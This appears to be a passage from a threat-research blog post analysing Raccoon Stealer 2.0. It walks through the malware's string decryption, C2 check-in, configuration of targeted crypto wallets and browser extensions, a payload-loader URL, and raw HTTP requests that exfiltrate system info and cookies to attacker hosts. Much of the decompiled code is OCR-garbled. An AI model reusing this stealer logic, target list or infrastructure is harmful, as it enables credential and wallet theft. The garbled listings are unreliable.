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Raccoon Stealer has emerged from its hiatus, rewritten from the ground up in C/C++, with a
new front-end, new back-end and new data stealing capabilities. Raccoon Stealer was
previously sold as a Malware-as-a-Service (MaaS) until falling off the radar in March 2022.
This shutdown was reportedly due to the loss of a lead developer of the project during the
Russian invasion of Ukraine. After a few months of development, Raccoon Stealer is back,
complete with all its shiny new features, for the price of $275 a month. Let’'s [dumpster] dive
into this new version of Raccoon Stealer and see what it’s all about.

raccoonstealer rostedin - leport post =
We steal, you deal

(LI L] L] 17 hours ago, anonbbbdeanon said:

it's true?

Yes, my dear friend! This is not a rumors.

After our teammate loss we made a decision that we can not leave our

. project and we will continue our work in his honor. Also we build big
L!
. o9 community who support us during our lifetime cuz they don't see any
Joined alternative to work with.
4m I i
Activity This months we worked on Raccoon Stealer 2.0. Project was totally coded

from very beginning. New back-end, new fronf-end, absolutely new stealer
soft. [ will provide all details after beta test ends. Believe me there are many
interesting things to present.

Beta test in process about 12 days and clients mostly happy about it. Some
minor issues are left to fix. I think we are moving to release date on next two
weeks.

We are miss our clients and want go back to full working volumes.

See ya soon!

Figure 1: Raccoon Stealer 2.0 Beta Testing Successful (source:
https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-
version-to-steal-your-passwords/)
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Technical Analysis

MD5: Ocfa58846e43dd67b6d9f29e97f6c53e
SHA1: 19d9fbfd9b23d4bd435746a524443f1a962d42fa
SHA256: 022432f770bf0e7c5260100fcde2ec7¢c49f68716751fd7d8b9e113bf06167e03

Raccoon Stealer 2.0 is advertised as lightweight, and it delivers, coming in at around 56 KB.

The developers promise many new features, so let's examine the execution flow step-by-
step and see what this new version has to offer.

Step 1: Resolve Libs

The malware kicks off execution by dynamically resolving Libraries and APIs required for
later usage.

{
HMODULE

hModule

1Varl
iVar2
iVar3
ivVard
1vVars
ivVare
ivVar7
(*DAT

vold Dynamically Resolve_ APIs(void)

hModule;

int 1Varl:
int 1Var2;
int 1Var3;
int 1Vard;
int 1'-.-'ar:L_
int 1Var6:
int 1Var7;

= LoadLibraryW(L"kernel32.d11");

if (hModule !'= (HMODULE)OxD) {
DAT_0040e038 = GetProcAddress(hModule, "LoadLibraryW");

= (*DAT_0040e038) (L"Shlwapi.dll");
= (*DAT_0040e038) (L"01e32.d11");
(*DAT_0040e038) (L"WinInet.dl1");
(*DAT_00402038) (L"Advapi32.d11”);
(*DAT_0040e038) (L"User32.d11");
(*DAT_0040e038) (L"Crypt32.d11");
(*DAT_0040e038) (L"Shell32.d11"):
0040e038) (L"Bcrypt.dll");

DAT_0040e0d8 = GetProcAddress(hModule, "GetProcAddress®);
DAT_0040e044 = (*DAT_0040e0d8) (hModule, "GetCurrentProcess"”);
DAT_0040el58 = (*DAT_0040e0d8) (hModule, "GetEnvironmentVariableWw");
DAT 0040el48 = (*DAT 0040e0d8) (hModule, "GetFileSize"):
DAT_0040el28 = (*DAT_0040e0d8) (hModule, "GetDriveTypeW");
DAT_0040e0b8
DAT _0D40eQac = (*DAT_0040e0d8) (hModule, "GetLocaleInfow"):
DAT_0040el40 = (*DAT_0040e0d8) (hModule, "GetLogicalDriveStringsw");
_DAT 0040e074 = (*DAT 0040e0d8) (hModule, "GetModuleFileNameW");
DAT_0040el0c
DAT_0040e0S0
DAT_0040e024
DAT_0O40e098
NAT NOANaNaN = [*NAT NOAN2NAR) (hMadule "GlahalFraa®).

(*DAT_0040e0d8) (hModule, “GetLastError®); Figure 2:

(*DAT_0040e0d8) (hModule, "GetSystenWowB4DirectoryW");
(*DAT_0040e0d8) (hModule, “GetUserDefaultLocaleName");
(*DAT_0040e0dB) (hModule, "GetTimeZoneInformation®);
(*DAT_0040e0d8) (hModule, “GlobalAllec™);
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DAT_0040e030
DAT_0040e0c0
DAT_0040e040
DAT_0040el04
DAT_004Cel7s
DAT_0040e0f8
DAT_0040e07c
DAT_0040e0lc
DAT_0O40e144
DAT_0040e09c

DAT_0040e0cc
DAT_0040e048
DAT_0040e0b0
DAT_0040e08c

DAT_0040el08 =

DAT_0040e080
DAT_GDdﬂeDdc

Step 2: Decrypt Strings

e ey W R wmw w o

= (*DAT_0040e0d8) (hModule, "GlobalMemoryStatusEx");

= (*DAT_0040e0d8) (hModule, "CloseHandle");

= (*DAT_0040e0d8) (hModule, "CreateFilew");

= (*DAT_0040e0d8) (hModule, "CreateMutexw");

= (*DAT_0040e0d8) (hModule, "CopyFileW");

= (*DAT_0040e0d8) (hModule, "DeleteFilenw");

= (*DAT 0040e0d8) (hModule, "FindClose”);

= (*DAT_0040e0d8) (hModule, “FindFirstFilew");

= (*DAT_0040e0d8) (hModule, "FindNextFilew");

= (*DAT_0040e0d8) (hModule, "CreateToolhelp32Snapshot”);
(*DAT_0040e0d8) (hModule, "HeapFree®);
DAT_0040e028 = (*DAT_0040e0d8) (hModule, "Ex1tProcess”);
DAT_0040e164 = (*DAT_0040e0d8) (hModule, "OpenMutexw®);
DAT 0040e060 = (*DAT_0040e0d8) (hModule, "OpenProcess”):
= (*DAT_0040e0d8) (hModule, “LocalFree*);

= (*DAT_0040e0d8) (hModule, “LocalAlloc®);

(*DAT_0040e0dB) (hModule, "MultiByteToWideChar");
(*DAT_0040e0d8) (hModule, "ReadFile");
(*DAT_0040e0d8) (hModule, "Process32First”);
(*DAT_0040e0d8) (hModule, "Process32Next");

= (*DAT_0040e0d8) (hModule, “SetCurrentDirectoryw");
Dynamically Resolve Libraries and APls

After resolving the libraries and corresponding APIs required, the malware next decrypts its
strings. These strings are base64 encoded and RC4 encrypted. To make analysis easier, I've
written a_Ghidra Script to decrypt these strings and comment/label them appropriately.

00404035 55
00404037 8b ec
00404039 51

0040403a 83 65 fc 00

0040403e 8d 55 fc
00404041 56
00404042 57
00404043 b9 54 c8
40 00
00404048 o8 b9 d7
ff ff
0040404d bf 44 c8
40 00
00404052 8d 4d fc
00404055 57
00404056 51
00404057 be 28 e2
40 00
0040405¢ 50
0040405d 8b ce
0040405 28 e2 46
00 00

35 3ggk 2 F 3ppRegdg

Decrypt_sStrings

EBF

EBP, ESP

ECX

dword ptr [EBP + local_B],0x0
EDX=>local_8, [EEF + -0xd]

EsI

EDI

ECH, tlgrm_

BaseGd_Decode
EDI,s_edinayarossiya_0040c844

ECXw=local_8, [EBF + -Oud]
EDI=>5_edinayarossiya_0040c844
ECX

ESI,DAT_0040e228

EAX
ECX,ES]
RC4 Decrypt

Figure 3: Base64 and RC4 Decrypt Strihgs

Step 3: Decrypt Configuration [C2 Server(s)]

XREFI1]:  entry:00407497(c)

len_str

tlgrm_

mov edi, rcd key

len_str

push rcd_key
push len_str
buf

unbB4_ciphertext
mov ecx, buf
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Next, Raccoon Stealer proceeds to decrypt its configuration. In the sample analyzed, only
one C2 was present, though it appears to support multiple C2 servers in the code.

BDS5 FC Tea edx,dword ptr ss:[Bebp-4J

BBC & MOV ECK , SaN ecx:”

EE 36AIFFFF Al <022432f7700f0eTCs 260100  cdedecT c 40 68T 1675 1T d7 dEbe113bT 06167 €00 . BE4_Decodes

BE JBECEZO0 moy &bk, 0224327 bToe? ch 2601007 Cdeecy C49T6E7 167 51T A7 0802211307 06167 03, B2ECE

20 push eax

BBCE mov &Cx, 8bu 14 Ha

EE &3120000 call tDZZl52f?7mfﬂ!?c5ZEDJWfEﬂE.EEI'.TC"EfEETlE?Elfd?dﬂhmliﬂfﬂﬁlﬁrﬂi.RE‘_DEEI‘,']}K.?

BEFSE mov edi,eax ) ) . ) £df:"htrp: /51,195, 166,184

Figure 4: Decrypt Configurétioh

Step 4: Check Locale, Mutex and User Privs

Now that everything has been loaded and decrypted, the malware starts checking for various
information. First, the malware checks GetUserDefaultLocaleName to ensure it does not
match “RU” and exits if it does. Next, the malware attempts to open an existing mutex object
of 8724643052. If successful, it exits to prevent running multiple instances. Otherwise, the
malware will open that mutex. (Note: Mutex is an unencrypted, hardcoded wide string)
Finally, the malware checks what privileges it is running under, checking to see if it is running
as (S-1-5-18 NT Authority\System).

LAB_004075bS XREF[2] : o040758F (7)., 004075a8(j)
004075b5 al 64 el MOV EAX, [OpenMutexw]
40 00
004075ba be dB d6 MOV ESI,u_8724643052_0040d6d8
40 00
004075bT S6 PUSH EST==u_B8724643052_0040d6d8
004075c0 33 db XOR EBX, EBX
004075c2 53 PUSH [
004075c3 68 01 00 PUSH Ox1To00l
1f 0o
0040758 1 dO CALL Ed
0R4075ca 8BS <0 TEST EAX, EA
004075cc 75 Ob JNZ LAB_0D4075d9
004075ce 56 PUSH ESI=>u_B8724643052_0040d6d8
004075cf 53 PUSH EE
00407540 53 PUSH EE
00407541 ff 15 04 CALL dword ptr [Createputexw]
el 40 00
Figure 5: Open or Create Mutex
0040a204 ff 75 fB PUSH dword ptr [EBP + local_c]
00402207 ff dl CALL E GetTokenInformation
00402209 8BS c0 TEST AX,EAX
0040a20b 74 35 Jz LAB_0040a242
0040a20d 83 65 f4 00 AND dword ptr [EEP + local 10],0x0
0040a211 Bd 4d f4 LEA =>local_10, [EBF + -Oxc]
00402214 al 5c e0 MOV Eax, [DAT_0040e05c] ConvertSidToStringSidw
40 00
00402219 51 PUSH E
0040a2la ff 37 PUSH dword ptr [EDI]
0040a21c ff dO CALL
0040a2le 85 cO TEST EAX, EAX
D040a220 74 20 i LAB_0040a242
oo4pa222 ff 75 f4 PUSH dword ptr [EEF + local_10]
0040a225 al 14 el MOV Eax, [DAT_0040e114] Llstrcmpiw
40 00
0040a22a 68 fO d6 PUSH u_S-1-5-18_0040d6f0
40 00
0040a22f ff dO CALL

Figure 6: Check Privileges

Step 5: Collect System Info, POST to C2
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Raccoon Stealer now collects some information on the system to provide to the C2. It begins

by reading the machine guid from HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid.

0040a736

0040a73c
0040a73e
0040a741

0040a748
0040a749

0040a74e
0D040a750

0040a755

0040a75a

0040a761
0040a763

0040a769
0040a76b
0040a76e
D040a76f
0040a770
0040a773
00402774
0040a776

0040a7Tc
0040a77f

LY LERcRIEL B REEPREEEL2RG

ff
ed
ff
ff

od a0
40 00
&8

a5 fc
as fa
01 o0

15 01
oo
oo
10 d7
0o
62 0o
B0
45 f4
00 0O
dl
od d4
40 00
fo
45 f8

as fa

oo
3B 70
40 00
75 fc
dl

Moy
Moy
LEA
MoV
o0
PUSH
PUSH
PUSH
PUSH
PUSH
Moy
00
CALL
ROV
ROV
LEA
PUSH
PUSH
LEA
PUSH
PUSH
PUSH
PUSH
CALL

ECi,dword ptr [RegOpenkeyExW]

EDI, EAX
Efx=>local_8, [EBF + -0xd]
dword ptr [EBF + local_c),oxlod

EA

0x20119

Ox0
u_SOFTWARE\Microsof t\Cryptography_0040d710

0xBOGOO00.2

dword ptr [EBF + local_10],0x1

EC,dword ptr [RegQueryValueExwl

ST, EAX

ax=>local_c, [EBP + -0xB]
0l

Am»local_10, [EBP + -0Oxc]
ox0

dword ptr [MachineGuid]

M mmomm

dword ptr [EBFP + local 8]

Figure 7: Get Machine Guid

Next, it gets the username via ADVAPI32.d11: :GetUserNameWw.

0040a798
0040a799
0040a 79k
0040a79c

0040a7al
0040aT7a2

0040a7a7

0040aT7a9 c7

0040a7b0 ff
0040a7b2 8b
0040a7b4 Bd
0040a7b7 S0
0040a7b8 56
0040a7b9 ff

cO

0040a7bf b
0040a7cl Se
0040a7c2 c9
0040a7c3 c3

Figure 8: Get Username

phkResult
Key_Read

ulDptions

HELM (HKEY Local Machine)

GetUserName XREF[1]:
PUSH EBP
ec MOV EBP, ESP
PUSH ECX
48 0 MOV EAX, [LocalAllec]
0
PUSH ESI
02 02 PUSH Ox202
0o
40 PUSH Owdo
45 fe MOV dword ptr [EEF + local_8],0x101
01 00 00
do CALL EAX
fo MoV ESI, EAX
45 fc LEA EAX=>local_8, [EBF + -0x4]
PUSH EAX
PUSH ESI
15 00 CALL dword ptr [-=ADVAPI32.DLL::GetUserNameW)
40 00
6 MOV Eax, EsI)
POP ESI
LEAVE
RET

Finally, it concatenates the results of the data.

A T

entry: 0040763a(c)
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251=01236D70 L "machinel

Figure 9: Concatenated Check-in Info to Send to C2

3193d7 2-b2b3-4766-233d-C 7969970a| IEUser&conT 19l

59c9T37264Cc0b3209d09193

machineId=<machine_id>|<USERNAME>&config_id=<config_rc4_key>

Once basic system information has been collected, Raccoon Stealer sends this information

GC127

to the C2 server. Note the User-Agent: record and that the data is unencrypted and sent

over HTTP.

00437afa 68 do d5
40 00

" podoratt tf

:

&

b
REEIRE

]
w0

00407b4c

=

BO407H51
00407053
00407h54
00407058 bf

co
00407b5d of
0O407b60 S50
0o4oThEL ff
00407Tb64 Ga
00407h66 Ga
00407068 ff
00407heh fF

ea
0O407b71 52
0O407072 ff
(040774 Bb
00407076 BS
0O40TRTE 74
00407h7a ff
0040707d al

Lle]
0040TbEZ Bb

428

=

do

73

bb

44
b7

55

7
Bc
]
k-]

55
o1

c2
co

]
el

14

PUSH
CALL
MOV
MOV
TEST
JZ
PUSH
XOR:
MOV
PUSH
PUSH
PUSH
FUSH
PUSH
POP
PUSH
POP
WP
MOV
CHOV,

Z

T3NH2ER §3aEEEY 3993 2 %3 MERERERE

MOV

u_record_0040dSdo

EAX
ESI,EAYX

dword ptr [EBF + local_18],¢
ESI,ESI

LAB_0D407ba2

Oxl
EAK, EAX

this.dword ptr [InternetConnectw]

EA
Ox3
EAX
EAX
xS0

EAX

73

EDi

word ptr [E8F + local_10] D
ED, Gxlbb

mmmmmm

DL
=1
this
EDE, EAK

dword ptr [EBF + local_lc].EDX

EDX, EDX

LAB_0D407bdb

Oxl

this,dward ptr [HitpOpenRequesti]

Eax, IMAGE_D0S_HEADER_ 00400000

73

EDI

word ptr [EBF + local_10],0I
EDL, Oxc 00000

EAX,EDI

EA

dword ptr |EEF + param_3]

oo

oo

dword ptr [EEF + local_14]

dword ptr [POST] “POST”

EDK
this

EDI, EAX

EDI, EDI

LAB_0D407bd2

dword ptr [EEF + local_c]
EAX, [1strlen]

ESI,dword ptr [HttpSendRequesti]

Figure 10: Send Data to C2 Server

*record” --» UserAgent
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POST / HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=utf-8

User-Agent: record

Host: 51.195.166.184

Content-Length: 95

Connection: Keep-Alive

Cache-Control: no-cache

Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34
65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 61 6¢Cc 66 6f 6e 73
26 63 6 6e 66 69 67 49 64 3d 33 65 64 38 39 35 63 34 66 66 35 64 63 35 65 63 38 35
63 61 61 32 61 39 64 31 62 65 64 30 66 32

Data Ascii: machineId=<machine_id>|<username>&configId=<config_rc4_key>

Step 6: Retrieve Config From C2

If the POST to the C2 server is successful, the C2 server returns the configuration, which
includes URLs to download the DLL dependencies and the stealer configuration.

Note: The C2 for the sample | analyzed was down, so | modified the sample to use a new C2
server | found and patched/modified the config for my sample to work correctly. | did manage
to get more config data as well as a payload for Raccoon to download and execute.
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libs_nss3:hxxp://94.158.247[.]24/aN7jDOq06kT5bK5bQ4eR8FE1XP7hL2vK/nss3.d11
libs_msvcp140:hxxp://94.158.247[.]24/aN7jDOqO6kT5bK5bQ4eR8FEIXP7hL2VvK/msvep140.dll
libs_vcruntimel40:http://94.158.247[.]24/aN7jD0g06kT5bK5bQ4eR8FELXP7hL2vK/vcruntimel4
0.d11
libs_mozglue:hxxp://94.158.247[.]24/aN7jD0g06kT5bK5bQ4eR8FE1XP7hL2vK/mozglue.dll
libs_freebl3:hxxp://94.158.247[.]24/aN7jD0g06kT5bK5bQ4eR8FE1XP7hL2vK/freebl3.d1ll
libs_softokn3:hxxp://94.158.247[.]24/aN7jD0q06kT5bK5bQ4eR8FE1XP7hL2vK/softokn3.d1l
ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings
ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec; TronLink;Local Extension Settings
libs_sqlite3:hxxp://94.158.247[.]24/aN7jD0q06kT5bK5bQ4eR8FE1XP7hL2vK/sglite3.d1ll
ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings
ews_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings
wlts_exodus:Exodus;26;exodus;*; *partitio*, *cache*, *dictionar*
wlts_atomic:Atomic;26;atomic;*; *cache*, *IndexedDB*
wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*; *cache*
wlts_binance:Binance;26;Binance; *app-store.*; -
wlts_coinomi:Coinomi;28;Coinomi\Coinomi\wallets;*; -
wlts_electrum:Electrum;26;Electrum\wallets;*; -
wlts_elecltc:Electrum-LTC;26;Electrum-LTC\wallets;*; -
wlts_elecbch:ElectronCash;26;ElectronCash\wallets;*; -
wlts_guarda:Guarda;26;Guarda;*; *cache*, *IndexedDB*
wlts_green:BlockstreamGreen;28;Blockstream\Green;*;cache, gdk, *logs*
wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*, *sqlite*
ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings
ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings
sstmnfo_System Info.txt:System Information:

|Installed applications:
libs_nssdbm3:hxxp://94.158.247[.]24/aN7jD0q06kT5bK5bQ4eR8FE1XP7hL2vK/nssdbm3.d11
wlts_daedalus:Daedalus;26;Daedalus Mainnet; *;log*, *cache,chain,dictionar*
wlts_mymonero:MyMonero;26;MyMonero; *; *cache*
wlts_xmr:Monero;5;Monero\\wallets; *.keys; -
wlts_wasabi:Wasabi;26;WalletWasabi\\Client;*;*tor*, *log*
ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings
ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf; XDEFI; IndexedDB
ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings
ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings
ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings
ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;Cyanowallet;Local Extension Settings
ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase; IndexedDB
ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AurowWallet;Local Extension Settings
ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings
ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh; TezBox;Local Extension Settings
ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings
ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc; Temple;Local Extension Settings
ews_iconex:flpiciilemghbmfalicajoolhkkenfel; ICONex;Local Extension Settings
ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Ex

tension Settings

ews_clover:nhnkbkgjikgcigad

omkphalanndcapjk;CloverWallet;Local Extension Settings
ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;Polymeshwallet;Local Extension Settings
ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings
ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings
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ews_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings
ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp; TerraStation;Local Extension Settings
ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings
ews_saturn:nkddgncdjgjfcddamfgecmfnlhccnimig; Saturnwallet;Local Extension Settings
ews_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;Guildwallet;Local Extension Settings
ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings
ews_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings
ews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings
ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings
ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings
ews_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm; MEW_CX;Sync Extension Settings
ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings
ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings
ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd; TON;Local Ext

ension Settings

ews_Cosmostation: fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension
Settings

ews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings
ews_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd; GameStop;Local Extension Settings
ews_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm; Stargazer;Local Extension Settings
ews_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverwWallet;Local Extension Settings
ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne; JaxxLibertyExtension;Local
Extension Settings

scrnsht_Screenshot. jpeg:1

tlgrm_Telegram:Telegram Desktop\tdata|*|*emoji*, *user_data*, *tdummy*, *dumps*
grbr_txt:%USERPROFILE%\Desktop\|*.txt|*windows*, *recycle*|100|1|1|files
grbr_sdk:%DSK235%\ | *1ledger*, *trezor*, *safepal*, *metamask*|-|15|0]|0|files
ldr_1:hxxps://bitbucket[.]org/reaXon112233/12333333/downloads/1[.]exe|%APPDATA%\ | exe
token:<token_id>

Field Description

libs_<filename> DLL dependency filename and address to download it from

ews_<target_software> Browser-based crypto wallet extensions

wlts_<target software> Crypto wallets

sstmnnfo_<filename> String(s) used to structure system info data collected and sent to
C2 server

scrnsht_<filename> Filename for the screenshot

tigrm_<target_items> Configuration for what data to collect from Telegram

grbr_<target data) Configuration data to target on local drives

Idr_ <target> Optional field to have Raccoon download and execute additional
payload

token Unique ID for the bot used to post data to the C2
http://<c2>/<token>
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Figure 11: Raccoon Stealer Configuration Breakdown

Step 7: Download and Load DLL Dependencies

After receiving its configuration, Raccoon Stealer parses out the 1ibs_ field, which contains
the DLL filename and the download address. Next, it loops through and downloads the
following files to the path "C:\Users\<username>\AppData\LocalLow

e nss3.dll

e msvcp140.dil

e vcruntime140.dll
e mozglue.dll

o freebl3.dll

o softokn3.dll

o sqlite3.dll

e nssdbm3.dll

Bain decrd pre s3ifeso-4)

Fig"t.Jre 12: Dz)wnload DLL Dependencies

Step 8: Fingerprint System, POST to C2

After downloading the DLLs, Raccoon generates a URL based on its unique token. This
token is used as the path for all future POST requests so that the C2 server can keep track
of the infected clients information. Next, it collects detailed system information (sstmnfo_ in
the config) about the infected device and sends it off to the C2.

e User CID

e TimeZone

e OS Version

¢ Architecture

e CPU Info

e RAM Info

¢ Display Devices
 Installed Applications
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iVar2 = (*RegOpenKeyExW) (0x80000002, L" SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",o
,0x20019, &local_g8):
if (ivarz == 0) {
local_18 = 0;
do {
iVar2 = local_18;
local_28 = OxB800;
uvart = (*Localalloc) (Ox40,0x1000);
local_24 = uVars;
local_20 = [*RqunUIKeyE:H]ILDcaL_E,1'.far2*u'-.far6,hncal_28.0;ﬂ,G,B}I:
if (local_20 == 0) {
param_2 = O;
ivar4 = (*RegOpenKeyExW) (local_8,uvars, 0, 0x20019, &param_2);
if (1vard == 0) {
local_lc = Ox1000;
local_14 = Ox1000;
uvar3 = (*LocalAlloc)(0x40, 0x2000);
local ¢ = (*LocalAlloc)(Ox40,local 14 * 2);
iVar2 = (*ReqQueryValueExwW) (param_2,L"DisplayMame”,0,&local_10,uVar3,&local_lc);
if (1Var2 == 0) {
iVar2 = (*LocalAlloc]) {Ox40, (local_14 + local_lc) * 2);
iVard = (*RegQueryValueExW) (param_2,L"DisplayVersion®,0,&local_10,local_c,&local_14);
if ((ivara 1= 0) || (ivard = (*strstrW)(uvar3,local_c), uvar6 = local_c, ivard 1= 0))
{
uVaré = 0;
}
(*wsprintfw) (1Var2,L"\t%s %s\n",uVar3,uVars);
ivard = (#StrS5trw) (*param_1,ivVar2);
if (ivard == 0) {
psVarl = Concat_Strings((int)*param_l,1Varz2)
*param_l = psVarl;

(*LocalFree) (1Var2);
uVaré = local_24;

}

(*LocalFree) (local_c);
(*LocalFree) (uvar3):
(*RegCloseKey) (param_2);
iVar2 = local_18;

Figure 13: Enumerate SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall to Collect
Installed Applications
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POST /<token> HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=<random string>
User-Agent: record
Host: 51.195.166[.]175
Content-Length: 2463
Connection: Keep-Alive
Cache-Control: no-cache

--<random string>
Content-Disposition: form-data; name="file"; filename="System Info.txt"
Content-Type: application/x-object
System Information:

- Locale: English

- Time zone:

- 0S: Windows 10 Pro

- Architecture: x64

- CPU: Intel Core Processor (Broadwell)X

(2 cores)

- RAM: 4095 MB

- Display size: 1280x720

- Display Devices:
0) Microsoft Basic Display Adapter
Installed applications:
7-Zip 19.00 (x64)
Mozilla Firefox 75.0 (x64 en-US)
Mozilla Maintenance Service 75.0
Microsoft Office Professional Plus 2016 - en-us 16.0.12527.20482
VLC media player 3.0.6
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219
Java 8 Update 66 (64-bit) 8.0.660.17
Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.40660
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
Java SE Development Kit 8 Update 66 (64-bit) 8.0.660.17
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.30.30704
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.30.30704
Office 16 Click-to-Run Licensing Component 16.0.12527.20482
Office 16 Click-to-Run Extensibility Component 16.0.12527.20482
Office 16 Click-to-Run Localization Component 16.0.12527.20482
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.40660
Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030
Google Chrome 89.0.4389.114
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.
--<random string>

Step 9: Steal All The Data! (...POST to C2)

Finally, Raccoon gets down to business and starts doing what it does best — steal all the
data. Raccoon targets all the typical info-stealer related data, such as browser data
(Cookies, CC info, Autofill, User Profile, Credentials, etc.) as well as what is designated in
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the configuration received earlier. The Raccoon Stealer data stealing routine follow these
steps:

1.

w

oo N O O b~

Steal browser information including autofill cookies/password information and credit
card data utilizing sqlite3.dll

. Steal data from Firefox using mozglue3.dll such as logins.json, cookies and history
. Steal crypto wallets, both traditional (wlts_) and browser extensions (ews_) designated

in configuration

. Searches filesystem for wallet.dat to steal

. Optional file grabber for items listed in configuration, if configured

. Optional telegram stealer for data listed in configuration, if configured

. Optional screenshot grabber, if configured

. Optional loader functionality, if configured (can run local or download and execute

remote payloads)
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STIFERT

sqlite3 = (HMODULE) (*LoadLibraryw) (local_14);
1f (sqlite3 != (HMODULE)Ox0) {

!Esteal_brnwser_data(extraaut_ECE.{int}sqliteB.psvarQ.psvar?);

}

pHVarlo =

local 20 = pHvarlo;

if (pHvarlo != (HMODULE)Ox0) {
local_c¢ = (void *)(*LocalAlloc)(0x40,0x208);
(*SHGetSpecialFolderPathw) (0, local_c,0x1a,0);

1f true

= Load_NSS3((int)pHvarlo);

pvvar2 = local_c;
if (if true 1= 0) {

steal_moz_data(local c, (int)pHvarlo,0);

}

(*LocalFree) (pvvar2);

}

wlts_stealer(psvar9,psvar7);
wallet_dat_stealer(psvarg,psvar7);
grbr_stealer(psvar9,psVar7);
tlgrm_stealer(psvar9,psvar7);
pcVarl = LocalAlloc;

1T true

= (*1strlenW) (psvarg);

(HMODULE) (*LoadLibraryW) (local _10);

local_c = (void *)(*pcvarl) (0x40,1f_true * 2);
1f true = check_conf_scrnshot(psvVarg, &local c);

if (0 <

1f true) {

scrnsht_grabber((int)local_c,psvar7);

}

(*LocalFree) (local_c);
ldr_handler(psVarg9);
Figure 14: Stealer Functionality
Below are a few examples of data stealing as well as an example of stolen data being
exfiltrated.
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Flgure 16: Example of Chrome Data Targeted by Raccoon Stealer

POST /<token> HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=<random string>
User-Agent: record

Host: 51.195.166[.]175

Content-Length: 598

Connection: Keep-Alive

Cache-Control: no-cache

Content-Disposition: form-data; name="file"; filename="\cookies.txt"
Content-Type: application/xobject

--<random string>
.google.comTRUE/TRUE13261761828952522NIDdjEwNnsz881gvWAEZjO9hSgV1vT1ii6ETMk1LVWQNOCL/b
+j6SI6F5DTJIDVY/40NnSckdtNgAiR6TDGAVVXQRNSACA4Xr IFTUbYB1KkLfmk21X4DjSV9b+YgVjTnSOZSUNeC3H
YyXXsGQ8FdvNtcxTkU1m9CeQl+66Dgt suAknaY6GUOTTPCB/pBzEQrsSn+DHX7BtvkS/vDGYBHHY0O9XEXMHiXV
CGmSbuXMaDBLJ2EBVVZKmUZgsxSiyhRZXuAV/S8t3t1UF4jGvWLywyzeTezM=C:\Users\user\AppData\Lo
cal\Google\Chrome\User

Data\Default |NcDKiy6P0Y2Z/bl17V637BP6BVA4f/eHQX0IXVIPORWrg=|85.0.4183.121-64--<random
string>--

Step 10: Execute Additional Payload(s)

Raccoon Stealer V2 optionally supports execution of additional files, indicated by the 1dr

